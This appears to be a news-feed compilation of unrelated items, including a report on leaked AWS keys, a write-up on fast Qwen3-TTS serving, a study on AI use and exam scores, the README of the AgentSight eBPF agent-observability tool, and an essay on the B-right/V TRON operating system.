The commands do more or less the same thing. My hand-crafted one with rg automatically ignores hidden directories, though, which is typically what you want to do when searching code, but I did not provide that context to the LLM. Moreover, -P will fail on operating systems that use the BSD variant of grep . Again, the LLM lacks the context, but this command will work when I copy and paste it into my terminal. I could even use one of the CLI tools myself to make it directly execute the command for me, with the LLM serving as a translator between natural language commands and ancient Unix incantations.

In that sense, LLMs are embodying the Unix philosophy. Of course, this analogy has holes so big you can easily ride a horse through. LLMs are neither small nor do they do one thing—you could even argue that some of the things they do, they certainly do not do well . These issues notwithstanding, LLMs understand that text is the universal interface. Instead of users needing to learn how to talk to the computer, the computer now talks to you. A couple of years ago, this notion would have seemed utterly optimistic. No one would have expected that “text and tokenization” are the recipe for building general-purpose AI models. But here we are, relying less and less on GUIs and instead going back to our beloved Unix-like interface.

For all the problematic things around AI, 7 we may at least find some comfort in being vindicated after so many decades: Text reigns supreme and Unix won.

Hundreds of leaked AWS keys give full control over corporate accounts

Bleeping Computer
www.bleepingcomputer.com
2026-08-21 11:55:15
More than 9,300 Amazon Web Services (AWS) access keys publicly exposed between August 2022 and August 2026 are still active and valid. [...]...
Original Article

Hundreds of leaked AWS keys give full control over corporate accounts

More than 9,300 Amazon Web Services (AWS) access keys publicly exposed between August 2022 and August 2026 are still active and valid.

Truffle Security has been tracking this exposure for the past four years and says that 817 of the exposed keys were linked to companies, 526 of them being AWS root keys.

According to the researchers, 242 of the keys are associated with Identity and Access Management (IAM) users with the AdministratorAccess policy. This role has full permissions to create, modify, delete, and view virtually all AWS services and resources within an account.

image

They note that each key of the 768 live keys in the two sets “full control of a company's AWS account.”

The company found 431,875 AWS secrets across code repositories, Git history, datasets, Docker images, registries, and CI logs and extracted 64,024 unique AWS keys that corresponded to 50,654 AWS accounts after removing duplicates.

Exposed AWS keys
Unique verified exposed AWS keys
Source: Truffle Security

However, the subset for which the researchers had complete credentials that could be used for re-verification was 10,616 keys, and 88% of them continued to authenticate as of August 10.

Amazon Web Services (AWS) is Amazon’s cloud-computing platform used by companies to host websites and applications, store data, run databases and servers, manage domains, and operate their online infrastructure.

Full control of a company’s AWS account could allow an attacker to access, exfiltrate, or wipe cloud-hosted data, take control of servers and applications, and create rogue admin accounts for persistent access

Threat actors could also use their access to deploy cryptominers, generating substantial charges for the company. Truffle Security says that only 262 of 2,754 readable accounts had a budget alert set up.

Hugging Face, a popular online platform where developers share AI models, datasets, and applications, was the largest single source of leaked AWS keys, accounting for 8,482 unique key exposures.

Also, 17.9% of those keys were root, meaning the highest-privileged identity, which isn’t restricted by IAM permissions.

Roles of exposed keys
Roles of exposed AWS keys
Source: Truffle Security

Truffle Security found that, for the 2,903 keys with available creation dates, the median age was 1,831 days (about five years), while the oldest had existed for 17.4 years.

Only 398 (13.7%) of those entries had a newer access key associated with the same user, suggesting most had never been rotated.

Age of exposed keys
Age of exposed AWS keys
Source: Truffle Security

To defend against potential abuse, the researchers recommend deleting all root access keys, reviewing IAM credentials by age, rotating or revoking exposed keys, and configuring budget alerts.

Also, any credential committed to a public source should be treated as compromised.

Truffle Security said its testing was limited to read-only metadata, and that it has notified all identifiable owners of the exposed credentials.

article image

Once attackers have valid credentials, only 37% of their actions are blocked

Overall prevention scores can hide what happens after initial access. Once attackers are using valid credentials, prevention drops sharply.

The Blue Report 2026 measures defenses technique by technique across 338 million simulations run in customer production environments.

Get the report

How We Made a Text-to-Speech Model Respond in Sub-50 ms

Hacker News
nari-labs.com
2026-08-21 11:51:10
Comments...
Original Article

TL;DR

Our Qwen3-TTS 1.7B CustomVoice implementation achieves 10 requests per second (RPS) and sub-50 ms p95 time-to-first-audio (TTFA) while maintaining real-time playback on a single NVIDIA H100 SXM.

Benchmark chart comparing p95 audible TTFA across serving engines as RPS increases

We compare five implementations: ours, vLLM-Omni, SGLang-Omni , VoxServe, and M*, under Poisson open-loop traffic. After tuning each implementation for low-latency streaming, ours is the only one to achieve sub-50 ms p95 TTFA . We maintain sub-50 ms p95 TTFA through 10 RPS and keep it below 100 ms even at 20 RPS .

Our system produces approximately 630 characters per second at 10 RPS. At $4.29 per hour for a 1× H100 SXM instance, this translates to ~$2 per 1M characters at full utilization 1 . For comparison , ElevenLabs V3 is $100 / 1M and Cartesia Sonic 3.5 is $49 / 1M at a higher TTFA .

We open source the implementation and benchmark . Our methodology is explained below.


Defining “Real-time” TTS

Let’s start by discussing what a real-time TTS server needs to achieve. We think it’s a four-part problem:

  1. Low Audible TTFA: Time from request dispatch to the first audible sample must be low.
  2. Zero underruns: Once playback starts, the client must not run out of buffered audio.
  3. Capacity: 1 and 2 must hold as RPS increases.
  4. Non-malformed output: Speech must be intelligible.

We choose Qwen3-TTS CustomVoice 1.7B because it is one of the most popular TTS models with a permissive license.

Based on the above definition, we target low p95 audible TTFA with zero underruns while maintaining high RPS on a single NVIDIA H100 SXM.

All benchmarks run for five minutes under Poisson open-loop traffic to approximate real workloads, following Fireworks AI’s LLM benchmark . Each engine receives the complete text in a single HTTP request, while audio output remains streamed. We detect audible TTFA, reconstruct playback from received PCM, and evaluate the completed audio using Deepgram STT.

How Do Other Engines Perform?

The table below shows the upstream/default result at 1 RPS for each engine. We only apply changes for compatibility in this run.

These defaults have substantial room for improvement. We tune each serving engine for its own latency, continuity, quality, and capacity requirements.

1. Remove leading silence

The first PCM returned by a model can contain tens of milliseconds of silence before the first sustained sound. This gap pushes audible TTFA back like so:

Diagram of TTS latency terms: time to first byte, leading silence, and audible TTFA

We add a dynamic trim. It detects sustained speech from short RMS windows, removes samples before onset, and streams the remaining audio normally. This change improves TTFA by ~80ms but does not make model inference itself faster.

2. Tune frame accumulation

We also tune how many codec frames are collected before decoding and releasing an audio chunk.

Smaller initial chunks reduce TTFA, but provide less playback headroom and create more frequent decoder work. Larger chunks are easier to batch and make continuous playback safer, but delay the first audible output. A useful configuration therefore starts with a small chunk and increases the chunk size for later output.

The exact knobs differ by engine: vLLM-Omni exposes settings such as codec_chunk_frames and codec_chunk_ramp ; the other engines provide equivalent chunk or stride controls. We iterate over these values to find the config that best matches: low p95 TTFA, zero underruns and stable behavior as load increases.

Performance after tuning existing serving engines

The following table shows the selected no-underrun profile for each engine after leading-silence and frame-accumulation tuning.

VoxServe reaches sub-50 ms p95 TTFA at 1 RPS, while the other three engines do not. By around 6 RPS, every engine is at roughly 100 ms p95 TTFA or higher 2 .


How We Optimized Qwen3-TTS

We first need to understand Qwen3-TTS architecture. It is a 3-part model performing hierarchical multi-codebook generation. The Talker predicts the first codebook token for each audio frame, the Code Predictor generates the remaining 15 codebook tokens, and the causal Codec converts codebook tokens into waveform samples.

Each module has its own compute profile, batching behavior, and latency requirements. Rather than optimizing each module in isolation, we focus on a broader question: how should a serving system coordinate these heterogeneous tasks?

1. Bringing three modules under one scheduler

Most Qwen3-TTS serving implementations are split into two stages: the Talker and Code Predictor run together, while the Codec runs separately. This separation enables token generation and waveform decoding to overlap across requests.

We take this a step further. We expose the Talker, Code Predictor, and Codec as three independently schedulable tasks. The key is not merely splitting them into parts, but bringing all three onto a shared scheduling surface managed by one scheduler. This design draws inspiration from M* ( arXiv ).

With this setup, the scheduler can decide whether to run the Talker, advance the Code Predictor, or prioritize a Codec job that is approaching its playback deadline. It can also batch requests waiting for the same module. Instead of following a fixed execution order, we can rearrange work according to urgency.

Combining the Talker and Code Predictor may appear more efficient because it removes an intermediate boundary. However, the combined operation can become a non-preemptible unit of work that blocks more urgent Code Predictor or Codec jobs. Keeping the modules separate creates shorter units of work and gives the scheduler more opportunities to interleave requests.

2. Scheduling around the needs of speech streaming

Speech streaming has two distinct notions of urgency.

Before the first chunk of audio arrives, every millisecond increases TTFA, so we need to prioritize this path. But once playback begins, the goal changes: the next chunk only needs to arrive before the current audio finishes playing. Producing it earlier provides no user-visible benefit.

Thus, we give high priority to requests that have not produced their first audio, while established streams become urgent only as they approach a playback deadline.

Running every urgent request alone would destroy batching efficiency. Instead, our scheduler selects an urgent request as an anchor and fills the rest of the batch with compatible work. This helps the critical request meet its deadline while making effective use of the GPU.

This policy works especially well because all three modules share a scheduling surface, allowing the scheduler to choose both the request and the pipeline stage to advance.

3. Exploiting the regular structure of the Code Predictor

The Code Predictor is an autoregressive transformer, but its execution is unusually regular. It always performs a fixed number of steps (15) per frame to fill the remaining audio codebooks.

We exploit its fixed structure to preallocate its KV cache and capture the entire frame-generation loop as a single CUDA graph. We also use a Triton attention kernel specialized for its short, bounded context.

By replacing a host-driven sequence with a fixed GPU program, we lower latency and simplify the execution system.

4. Rebuilding the Codec around cached state

The Qwen3-TTS Codec is made up of Transformers and CNNs. Generating the next audio chunk depends on both the Transformer context and convolutional state from previous chunks.

A naive implementation reprocesses the full frame history on every update, repeatedly decoding old audio as the utterance grows.

To avoid this, we use a state-cache-based Codec. Each request retains the Transformer context and convolutional state needed by the next chunk. Incremental decoding then reuses this cached state and processes only newly arrived frames instead of replaying the full history.

Initializing the state cache from the first frame adds overhead and hurts TTFA. We therefore use full decoding for the first audio, then switch to state-cached incremental decoding for efficient sustained playback.

We similarly vary chunk sizes over the course of a request. Smaller chunks let playback begin quickly, while larger chunks improve batching and GPU efficiency during sustained playback.

5. Additional serving optimizations

We capture CUDA graphs for a predefined set of batch sizes. If a ready cohort exceeds the largest captured batch size, we split it across scheduling turns rather than falling back to eager mode.

We also avoid unnecessary CPU–GPU synchronization. For example, while EOS is suppressed, generation cannot terminate, so we defer the termination check until EOS is enabled. This lets the CPU prepare and submit subsequent work without waiting for the GPU.

Finally, we support input streaming for modular speech-to-speech systems. As an upstream LLM generates tokens, the TTS model can begin synthesizing speech before receiving the complete response, reducing end-to-end latency.

What’s Next?

Qwen3-TTS is just the beginning of our work on multimodal inference. We plan to extend our scope to image, video, and world models, as well as fine-tuning. Our ultimate vision is to simulate the world 1:1 through realtime multimodal inference.

We are a team of experts in multimodal AI research and infrastructure. Our open TTS model, Dia, has been downloaded over two million times and has ranked #1 on Hugging Face. Our team of ex-YC, ex-KRAFTON, and ex-NAVER engineers has published research at NeurIPS and ICLR and earned three IOI and ICPC World Finals gold medals. Nari Labs is backed by Y Combinator.

If you want to work with us on anything multimodal, let’s chat .

Show HN: Public Muscriptor Instance (latest, most powerful Audio-to-MIDI model)

Hacker News
www.pianoify.net
2026-08-21 11:44:40
Comments...
Original Article

Drop in a recording, hear it back as piano.

Drop an audio file or paste a YouTube link. It is decoded in the tab, drawn as a waveform, and cropped to ten seconds. That clip goes to a transcriber, which sends back the notes — and the piano roll fills in while the model is still decoding, plays on a sampled Steinway grand with a working damper pedal, engraves the transcription as sheet music, and crossfades against the original recording.

  • Audio to MIDI, free, in the browser
  • Sheet music you can export as MusicXML
  • Chords recognised under the notes
  • Works on an MP3, a WAV, a voice memo, or a YouTube link

Loading the app — it needs JavaScript and the Web Audio API.

Why Mayor Mamdani Can't Quit NYPD Commissioner Tisch

hellgate
hellgatenyc.com
2026-08-21 11:40:57
The Eric Adams holdover is antithetical to much of the left. She's also essential to the mayor....
Original Article
NYPD Commissioner Jessica Tisch and Mayor Zohran Mamdani brief the public ahead of the annual Israel Day Parade on May 28. (Ed Reed/Mayoral Photography Office)
NYPD Commissioner Jessica Tisch and Mayor Zohran Mamdani brief the public ahead of the annual Israel Day Parade on May 28. (Ed Reed/Mayoral Photography Office)

Scott's Picks:

Give us your email to read the full story

Sign up now for our free newsletters.

Sign up

Great! You’ve successfully signed up.

Welcome back! You've successfully signed in.

You've successfully subscribed to Hell Gate.

Your link has expired.

Success! Check your email for magic link to sign-in.

Success! Your billing info has been updated.

Your billing was not updated.

New York’s office market is home to the most tech workers: CBRE report

Hacker News
www.cnbc.com
2026-08-21 11:36:16
Comments...
Original Article

The Empire State Building, the Chrysler Building and One Vanderbilt are seen among other buildings in midtown Manhattan in New York, Jan. 11, 2024.

Angela Weiss | Afp | Getty Images

A version of this article first appeared in the CNBC Property Play newsletter with Diana Olick. Property Play covers new and evolving opportunities for the real estate investor, from individuals to venture capitalists, private equity funds, family offices, institutional investors and large public companies. Sign up to receive future editions, straight to your inbox.

It should come as no surprise that the number of artificial intelligence-specific tech workers is growing rapidly, and the effect of this growth on regional office markets is substantial. For the first time, New York's office market is home to the most tech workers, thanks in large part to AI, according to a new report from CBRE .

New York's 394,300 tech talent jobs edged out the San Francisco Bay Area's 375,730 jobs, CBRE found. The report analyzes tech-specific workers in 75 metropolitan markets in the U.S. and Canada. It's the first time New York has taken the lead in the 13 years of this analysis.

"The story there is that there's been cuts in the Bay Area, so the tech industry has contracted the size of the tech talent workforce, and the finance sector [in New York] has hired a lot of tech talent and a lot of AI workers," said Colin Yasukochi, executive director of CBRE's Tech Insights Center in San Francisco.

For both the U.S. and Canada, AI tech roles grew by 45% in the past year, with San Francisco and New York each adding more than 20,000 AI-specific jobs since mid-2025, according to CBRE.

As of June, there were 751,000 AI-related workers across the two countries, the report found. Those include both new jobs and conversions from existing jobs. AI-related roles now account for nearly one-third of all tech-talent job listings in the U.S., per the findings.

By market, 37% of AI jobs in the U.S. are in the San Francisco Bay Area, New York, Seattle and Washington. While New York leads in overall tech talent, San Francisco still leads in AI, specifically.

In Canada, there is greater concentration of AI employment, with 60% of those jobs based in Toronto, Montreal and Vancouver.

Office leasing is rising accordingly in those markets where AI workers are most in demand.

Get Property Play directly to your inbox

CNBC's Property Play with Diana Olick covers new and evolving opportunities for the real estate investor, delivered weekly to your inbox.

Subscribe here to get access today .

In San Francisco, AI companies made up 58% of all leasing in the first half of this year and have accounted for 30% of leasing activity, totaling about 10 million square feet, since 2023, according to CBRE.

While overall tech drove the Bay Area's office market over the past few decades, the pandemic pushed many of those workers to remote jobs. AI, however, has a more office-centric culture and is now fueling the market's recovery.

"It's more of the sort of startup innovation culture that we've seen, where people are in the office [a] minimum of four, but usually like five or six days a week," said Yasukochi. "Through this whole innovation process, being together and working in person is just much more efficient and innovative."

In addition to San Francisco, AI leasing activity is concentrated most in Manhattan, Boston and Seattle, according to CBRE.

There was concern that AI would reduce head counts, and consequently the need for office space, but in the short term, at least, that has not been the case.

"It basically changes jobs and creates new jobs, more so than it eliminates," said Yasukochi, pointing specifically to the finance sector.

AI Boosted Homework Scores by 18% – Then Exam Scores Dropped 20%, Study Shows

Hacker News
canews24.online
2026-08-21 11:25:42
Comments...
Original Article

4,940

A new study tracking 27,000 students in China has found that pupils who used artificial intelligence tools saw higher homework scores over time, but performed worse than their peers on exams taken without AI assistance, according to research covered by The Economist on August 18.

The Study

The research was conducted by David Stromberg of Stockholm University along with Victor Lei and Wu Yanhui of the University of Hong Kong. The study followed 27,000 pupils aged 12 to 18 in China, where adoption of AI tools among students has grown quickly. Around 80% of the students surveyed reported using AI models such as Doubao and DeepSeek, while the remaining 20%, who did not use such tools, formed a control group.

According to figures shared by The Economist, students who used AI saw their average homework scores rise by 18% across all subjects over a six-month period. However, when the same students were tested under exam conditions without access to AI tools, they scored 20% below classmates who had not used AI during the study period.

Context on AI Adoption Among Students

The study cited broader data on how widespread AI use has become among students. A survey conducted last year by ed-tech firm Chegg found that 80% of undergraduate students in wealthy countries reported using AI in their studies. More recent polling put the figure at 94% among students in Britain and 93% in Germany.

The Economist noted that teachers have reported grading formulaic, similar-sounding essays they suspect were generated by AI chatbots such as ChatGPT, but said that, prior to this study, robust evidence on AI’s actual effects on learning outcomes had been limited.

Related Research

A separate study conducted in 2024 at the University of Pennsylvania examined a similar dynamic on a smaller scale. Students attending a math lesson practiced problems using either traditional study methods, such as notes and textbooks, or AI tools including ChatGPT and an AI tutoring program. According to a summary of the research, students using AI performed better during short-term practice sessions, but the advantage did not carry over to a subsequent closed-book test.

Reactions

The Economist’s summary of the findings, shared on the social platform X, drew significant engagement, with some commenters attributing the exam score gap to students copying AI-generated answers without engaging deeply with the material. The study was also discussed on forums including Hacker News, where some users questioned aspects of the study’s design while others noted it aligned with existing concerns among educators.

A tip sheet published by the Brookings Institution earlier this year said AI can support learning when used intentionally and designed well, but cautioned that overreliance on the technology to replace thinking, social interaction, or creativity could prevent students from developing cognitive and social skills.

The Stockholm University and University of Hong Kong researchers’ full study had not been independently verified by other institutions at the time of publication.

Cancer-Related Mortality Among US Pilots and Flight Attendants

Hacker News
jamanetwork.com
2026-08-21 11:23:32
Comments...

Show HN: AgentSight – eBPF observability for AI agents, no code changes

Hacker News
github.com
2026-08-21 11:21:10
Comments...
Original Article

AgentSight is a zero-instrumentation AI Agent observability tool based on eBPF. It captures LLM API calls, Token consumption, and process behavior at the kernel level without modifying Agent code.

Overview

AgentSight provides full-stack observability for AI Agents running on Linux:

Capability Description
Token consumption analysis Multi-dimensional Token accounting by agent, task, and model
Behavior audit Complete tracing of LLM calls and process execution
Dashboard visualization Web UI for real-time Token trends, Agent health, and session traces
Agent auto-discovery Automatic detection of running AI Agent processes
Interruption detection Detection of LLM errors, SSE truncation, context overflow, and crashes
External log export Supports exporting structured events to external log services

Prerequisites

Requirement Minimum
OS Linux
Kernel >= 5.8 (BTF support required)
Privileges root or CAP_BPF (for eBPF probes)
ANOLISA raw package Linux x86_64, system mode

macOS : On macOS, AgentSight provides two commands — trace (trajectory collector that scans local JSONL session files, no eBPF) and serve (Dashboard viewer). All other eBPF-dependent commands are Linux-only.

Installation

Install the published component with the ANOLISA CLI:

# Recommended (system mode required — eBPF needs root)
sudo anolisa install agentsight

# Alternative (Alinux, requires YUM repo configuration)
sudo yum install agentsight

# Source build (developers only)
cd src/agentsight && make build-all

Use make build-all for source builds: it builds the Dashboard frontend, the main binary, and agentsight-enforcer in sequence. Running only make build skips the enforcer, and serve will keep logging AgentSight enforcement unavailable .

Quick Start

Use the systemd unit for a normal deployment. It runs eBPF tracing and the Dashboard together and starts the enforcer dependency in the required order:

sudo systemctl enable --now agentsight.service
sudo systemctl status agentsight.service

Open http://localhost:7396 after the service becomes active. Enabling the main unit also keeps AgentSight available after a reboot.

The bundled systemd launcher binds the Dashboard to 0.0.0.0 . Restrict port 7396 with a firewall or security group before exposing the host to an untrusted network.

The service runs as root with a private umask and stores data under /var/log/sysak/.agentsight . Use sudo for CLI queries and Dashboard access commands that read this service-owned data.

For foreground troubleshooting, stop the systemd unit first so it does not compete with a second tracer. Then use two terminals and run both commands as root. The second command is not reached if both are entered sequentially because agentsight trace stays in the foreground:

sudo systemctl stop agentsight.service

# Terminal 1
sudo agentsight trace

# Terminal 2: Start Dashboard
sudo agentsight serve
# Open http://localhost:7396 in browser

# Print the Dashboard URL and token; open the URL as your desktop user
sudo agentsight dashboard --no-open

Localhost access is authentication-free; remote access requires a token, see Dashboard Access & Authentication .

Usage

agentsight trace — Start eBPF Tracing

Starts kernel-level capture of AI Agent activity.

Requires root privileges. Captures SSL/TLS traffic, process events, and file operations. Run sudo systemctl stop agentsight.service before starting a foreground tracer.

agentsight serve — Start API & Dashboard

# Default: bind to 127.0.0.1:7396
sudo agentsight serve

# Bind to all interfaces (remote access)
sudo agentsight serve --host 0.0.0.0 --port 7396

Run serve as the same user that runs trace so both commands resolve the same data directory. Binding to 0.0.0.0 exposes the Dashboard on every interface; restrict network access before using that form.

Dashboard Access & Authentication

Dashboard token authentication is enabled by default:

  • Localhost access (loopback) bypasses authentication — just open http://127.0.0.1:7396 .
  • Remote access requires a token: append ?token=<TOKEN> to the browser URL, or set the Authorization: Bearer <TOKEN> HTTP header.
  • The token is auto-generated on the first serve startup (64 hex characters) and persisted to the .dashboard_token file next to the database (default /var/log/sysak/.agentsight/.dashboard_token ); it is reused across restarts.
  • Run sudo agentsight dashboard --no-open to print the service-owned access URL and token, then open the URL as your desktop user.

To disable authentication (only recommended on trusted internal networks), set in the config file:

{
  "server": { "auth": { "enabled": false } }
}

After editing /etc/agentsight/config.json , run sudo systemctl reload agentsight.service to apply the change — no restart needed.

API Endpoint List

GET /api/docs returns the full API route inventory (method, path, description) so scripts and integrations can discover endpoints; requests to unknown /api/ paths also point to it in the 404 response.

curl http://127.0.0.1:7396/api/docs

agentsight dashboard — Show Dashboard Access Info

Displays the Dashboard URL and auth token, then tries to open a browser. On ECS instances it also prints a security-group configuration guide.

# Show URL and token without opening a root-owned browser
sudo agentsight dashboard --no-open

agentsight summary — Unified Overview

Rolls up sessions and Token usage, interruption events grouped by severity, and Tokenless savings for a recent time window — one command for the overall health picture.

# Last 24 hours (default)
agentsight summary

# Last 7 days, JSON output
agentsight summary --last 168 --json

Data sources degrade independently: a missing database contributes zeros without affecting the rest of the report.

agentsight token — Query Token Usage

# Today's usage
sudo agentsight token

# Weekly comparison
sudo agentsight token --period week --compare

# JSON output
sudo agentsight token --json

agentsight audit — Query Audit Events

# Recent events
agentsight audit

# Filter by PID and type
agentsight audit --pid 12345 --type llm

# Summary statistics
agentsight audit --summary

agentsight discover — Scan for Agents

# Discover running AI Agents
agentsight discover

# List known Agent types
agentsight discover --list-known

agentsight interruption — Session Interruption Events

Query and manage AI Agent session interruption events.

Interruption types:

Type Description Default Severity
llm_error HTTP status >= 400 or SSE body contains error high
sse_truncated SSE stream ended without finish_reason=stop high
context_overflow Context length exceeded high
agent_crash Agent process disappeared mid-session critical
token_limit finish_reason=length with output near max medium
# List interruption events (default: last 24h)
agentsight interruption list [--last <HOURS>] [--type <TYPE>] [--severity <LEVEL>]

# Statistics by type
agentsight interruption stats

# Count by severity
agentsight interruption count

# Get a single event by ID
agentsight interruption get <ID>

# List all interruption events of a session / conversation
agentsight interruption session <SESSION_ID>
agentsight interruption conversation <CONVERSATION_ID>

# Mark as resolved
agentsight interruption resolve <ID>

Configuration

Configuration file: /etc/agentsight/config.json (override with --config ).

Important : User config files replace (not extend) the built-in default rules. Ensure your config includes all Agent rules you need.

Feature Flags

Feature JSON Path Default Description
Token stats features.token_stats true Core Token accounting
SQLite storage features.sqlite_storage.enabled true Local persistence
Interruption detection features.interruption_detection.enabled true Error/crash detection
Audit features.audit true LLM call audit
Session mapping features.session_mapping.enabled true responseId→sessionId

Runtime Limits

Config Default Description
event_channel_capacity 10,000 Probe event bounded channel capacity
pending_genai_max_count 1,000 Max events awaiting session_id
max_connection_body_mb 8 Single HTTP connection body buffer limit
ring_buffer_mb 32 eBPF Ring Buffer size (must be power of 2)

Agent Framework Integration

Conversational Skill (cosh)

AgentSight provides a built-in conversational skill for Copilot Shell. Users can query Token usage and audit logs via natural language:

  • "How much Token did I use today?"
  • "Show me today's LLM call records"

Token Savings (Tokenless Integration)

AgentSight integrates with the Tokenless component to display Token savings data in the Dashboard. No additional configuration needed — if both are installed, savings data appears automatically.

Data Management

Database Auto-cleanup

Default maximum database size: 200 MB. When reached, automatic cleanup triggers.

Customize via environment variable:

export AGENTSIGHT_GENAI_DB_MAX_SIZE_MB=500

Clear History

rm -rf /var/log/sysak/.agentsight
# Then restart AgentSight

FAQ

Q: Why can't I see Token data for OpenClaw?

A: AgentSight monitors the openclaw-gateway daemon. Check client-gateway connectivity. If you see "pairing required" errors, run openclaw devices approve .

Q: Why does the Token savings page show 0?

A: Possible causes: (1) The AK/SK authentication mode is not yet supported; (2) Session ID format is non-standard UUID.

Q: Why do cumulative savings exceed the single-call difference?

A: Agents include historical messages in context. Savings accumulate across turns, so cumulative savings exceed per-turn differences.

The B-right/V R2 Operating System

Hacker News
tronweb.super-nova.co.jp
2026-08-21 11:20:59
Comments...
Original Article

The B-right/V R2 Operating System

Steven J. Searle

Web Master, TRON Web


The BTRON Computing Model

Although it may not seem like it, what can broadly be termed "personal computing devices" are based on only three conceptual models. In order of their historical appearance, they are: the "stand alone computer model," which first came into being as the batch processing mainframe with a command line interpreter; the "networked stand alone computer model," which saw its first incarnation as the object-oriented workstation with a graphical user interface (GUI); and the "network interface computer model," a terminal-like computer for single users in an environment where all computers are linked together. The golden age of the first conceptual model has long passed, and the current age is a transitional period in which we are moving from the second conceptual model to the third.

What may be surprising to many is that the third conceptual model was first conceived not in the U.S., which has rightly earned the distinction of the "world's systems house," but rather in Japan, which has historically been viewed as a country that creates great hardware but is poor at software--particularly systems software. However, in the mid 1980s, long before computing platforms based on either the IBM-PC or Macintosh operating systems were considered for use as interfaces to a "network of networks" called the Internet, the TRON Project began work on the BTRON-specification operating system, which was conceived as a real-time human-machine interface to a "hypernetwork in which all computers and computerized devices throughout human society would be interconnected."

The network interface computer differs from the standard personal computers of today mainly in terms of size. Network interface computers have very small operating systems, and hence they require very little in the way of hardware resources to run. This allows them to be built at very low cost, which in turn allows organizations that employ them to save considerable amounts of money on management information systems. But all network interface computers are not based on the same design precepts.

One computing model for the network interface computer, the "network computer" proposed in the late 1990s in the U.S., was conceived of as a machine that would operate inside a company's local area network (LAN). Since it would always be used in conjunction with a company-owned server, programs and data could be stored there and downloaded as necessary. In fact, Sun Microsystems Inc., one of the companies that is strongly pushing for the adoption of network computers in the U.S., is planning to take this paradigm and apply it to the Internet. The company plans to offer its freeware StarOffice productivity suite via StarPortal , a Web site from which users can download data and applications and do data processing inside their browsers. People signing up for this service will only need a browser and an Internet connection. However, there is a problem with this computing model in that current browsers are huge applications, and they run on even larger operating systems, so the cost savings will mainly be limited to software. (For a critique of Sun's efforts with StarOffice, click here .)

That's where the BTRON-specification operating system is different. BTRON lies between today's gargantuan personal computer operating systems--which have become as large as mainframe computer operating systems and continue to get bigger with each new upgrade!--and the stripped down operating systems of LAN-based network computers. BTRON is compact, which is why basically the same BTRON3-specification source code can be used in both PDAs and IBM-PC/AT compatibles, and yet it is extremely powerful. The design specification calls for word processor and graphics editor functions as standard equipment, but the commercial implementation by Personal Media Corporation called B-right/V has, in addition, a spreadsheet program, a scripting language, an e-mailer, a card database program, a Web browser, PC communications software, plus various utilities, such as file converters--and that's not even to mention a World Wide Web-like hypertext filing system at the system level.

As a result, a BTRON-specification computer requires no Internet or LAN connection to do data processing, but the hardware required to run the latest BTRON implementation, B-right/V R2, is minimal: an Intel 486DX microprocessor-based PC, 16 megabytes of main memory, and a few hundred megabytes of hard disk space. In other words, a BTRON-based system can be manufactured almost as cheaply as a network computer, although it has all the functionality of a standard computer. And if that sounds too good to be true, it gets better. B-right/V R2 has for the first time in the history of personal computing implemented a true multilingual computing environment that allows users to employ up to approximately 130,000 characters in their documents. The majority of these characters are kanji (Chinese characters), which for the first time allow the Japanese people to write any word in their language--and they come in outline fonts to boot!

The True TRON Multilingual Environment Finally Appears

The BTRON3-specification "B-right/V" operating system for IBM-PC/AT compatibles was first marketed in Japan on July 18, 1998. Historically, B-right/V is a descendant of the "3B" operating system, which was designed for a TRONCHIP-based hardware platform called MCUBE that hit the Japanese market in 1995. The 3B operating system subsequently bifurcated into µBTRON-specification "B-right," which is used in Seiko Instruments Inc.'s BrainPad TiPO PDA, and B-right/V (B-right for DOS/V machines, which is what IBM-PC/AT compatibles are called in Japan). The code for both of these operating systems, which are based on a micro kernel design, is basically the same; there are only minor variations having to do with window functions, selectable colors, power saving, character input, etc., which are a result of the hardware limitations of handheld devices that do not use a keyboard.

There are, however, many differences between B-right/V and "B-right/V R2," the latter of which hit the Japanese market on November 12, 1999. The major difference is that B-right/V had only a partial implementation of the TRON Multilingual Environment. Specifically, its multilingual capabilities were based on a "single 48,400 character plane" (a plane is called a "script" in the TRON Architecture) into which multiple national character sets were loaded. The B-right/V R2 operating system, on the other hand, implements the true TRON Multilingual Environment, which is based on "multiple character planes of 48,400 characters" that can be switched in and out as required using "language specifier codes." [1] In fact, the current implementation has 31 such character planes defined for it, which means that it can handle a total of 1,500,400 characters. Needless to say, it is going to take some time to fill up that space.


[1] Some readers might be wondering why the "script planes" in the B-right/V R2 operating system are not switched in and out using "script switching codes." The answer is that the language specifier codes used for this purpose have "multiple functions," one of which is to switch in and out of script planes. In addition, they specify what script "group" is involved and what "language" the data are written in. For an introduction to the four layers of the TRON Multilingual Environment hierarchy (Font, Script, Group, and Language), please click here .

The B-right/V R2 script planes and their current contents are as follows:

System Script (0xFE21)
JIS levels 1 and 2,
JIS auxiliary kanji
Chinese GB 2312
Korean KS C 5601
6-point Braille
8-point Braille
Japanese Script 1 (0xFE22) Reserved
Japanese Script 2 (0xFE23) Reserved
Chinese Script 1 (0xFE24)
Simplified Chinese
additional characters
Chinese Script 2 (0xFE25) Same as above
Chinese Script 3 (0xFE26) Traditional Chinese
Chinese Script 4 (0xFE27) Same as above
Korean Script 1 (0xFE28)
Korean
additional characters
Korean Script 2 (0xFE29) Same as above
Various National Scripts (0xFE2a)
Unicode basic multilingual plane
(excluding Chinese characters)
Mojikyo Script 1 (0xFE2b) Konjaku Mojikyo characters
Mojikyo Script 2 (0xFE2c) Same as the above
Mojikyo Script 3 (0xFE2d) Same as the above
Mojikyo Script 4 (0xFE2e) Same as the above
(0xFE2f - - 0xFE3F) Reserved (17 planes)

One thing that is important to note here is that there is no official "TRON Character Set." The BTRON operating system merely provides a "framework," called "TRON Code," into which character sets that have, or will, come into wide use are loaded. Of course, once those character sets are loaded into the TRON Code framework, a de facto "TRON character set" comes into existence as can be seen above, but there are no TRON Project committees deciding which characters can or should be used by BTRON end users. The TRON policy is to register all characters and leave it to the end user to decide which characters he or she should employ in data processing. In order to implement this policy, the TRON Project has also created a character registration center (officially called the " TRON Character Resource Center ") on the Internet through which new characters can be added to the TRON character set. As long as the source of new characters is clear and there are no copyright complications involved, the character or characters will be registered free of charge and made available for downloading by BTRON user community.

